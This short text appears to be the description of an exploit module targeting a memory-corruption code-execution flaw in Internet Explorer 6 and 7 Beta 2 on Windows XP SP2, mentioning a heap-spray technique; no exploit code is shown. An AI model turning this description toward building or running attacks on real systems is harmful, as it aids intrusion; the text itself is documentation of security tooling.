          This module exploits a code execution vulnerability in Microsoft Internet Explorer.
        Both IE6 and IE7 (Beta 2) are vulnerable. It will corrupt memory in a way, which, under
        certain circumstances, can lead to an invalid/corrupt table pointer dereference. EIP will point
        to a very remote, non-existent memory location. This module is the result of merging three
        different exploit submissions and has only been reliably tested against Windows XP SP2.
        This vulnerability was independently discovered by multiple parties. The heap spray method
        used by this exploit was pioneered by Skylined.
